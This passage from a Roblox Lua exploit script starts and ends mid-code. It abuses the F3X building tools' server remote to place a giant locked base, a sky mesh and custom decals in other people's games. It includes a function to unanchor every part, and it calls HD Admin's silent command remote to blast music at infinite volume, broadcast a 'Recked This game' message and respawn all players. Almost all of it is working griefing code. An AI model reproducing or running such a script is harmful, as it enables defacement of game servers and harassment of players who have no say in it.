end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmaterial(part,mate,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } serverendpoint:InvokeServer(unpack(args)) end local function transparency(part,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = trans } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshid(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function makemesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshsize(part, vectora) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = vectora } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshtexture(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function setanchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } serverendpoint:InvokeServer(unpack(args)) end local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function makerealmbase() local position = CFrame.new(0, 5, 0) local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) resize(base, Vector3.new(512, 16, 512), position) syncmaterial(base, Enum.Material.Concrete) color(base, Color3.new(0.513725, 0.513725, 0.513725)) name(base, "loltroll") lock(base, true) local spawnpos = CFrame.new(34.5, 8.1, -26) local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace) resize(spawna, Vector3.new(20, 10, 20), spawnpos) name(spawna, "SpawnLocation") lock(spawna, true) createdecal(spawna, Enum.NormalId.Top) setdecal(spawna, "95079416100417", Enum.NormalId.Top) -- ganti decalnya pake decal lu transparency(spawna, 1) local pos = CFrame.new(74.143, 24, -25.232) local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(rules, 0) setcollision(rules, false) createdecal(rules, Enum.NormalId.Left) setdecal(rules, "123198507067999", Enum.NormalId.Left) color(rules, Color3.new(1, 1, 1)) resize(rules, Vector3.new(4, 23, 37), pos) local pos = CFrame.new(1.143, 24, -25.232) local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(bad, 1) setcollision(bad, false) createdecal(bad, Enum.NormalId.Right) setdecal(bad, "139856340800497", Enum.NormalId.Right) resize(bad, Vector3.new(4, 23, 37), pos) end local function sky() local position = CFrame.new(0, 5, 0) local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) makemesh(sky) syncmeshid(sky, "111891702759441") syncmeshtexture(sky, "137313802371605") syncmeshsize(sky, Vector3.new(2000, 2000, 2000)) lock(sky, true) name(sky, "riposku") setcollision(sky, false) end local function unanchorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() setanchor(v, false) end) end end end local function realm() sky() makerealmbase() end realm() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5228173823 ;pitch 1 ;volume inf ;ServerMessage PixelGreenBugged Recked This game!1!1!1") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";sm everthing is launched stay tunned! ;time 14 ;r6 all ;re all") end) end coroutine.wrap(TextButton_55_fake_script)()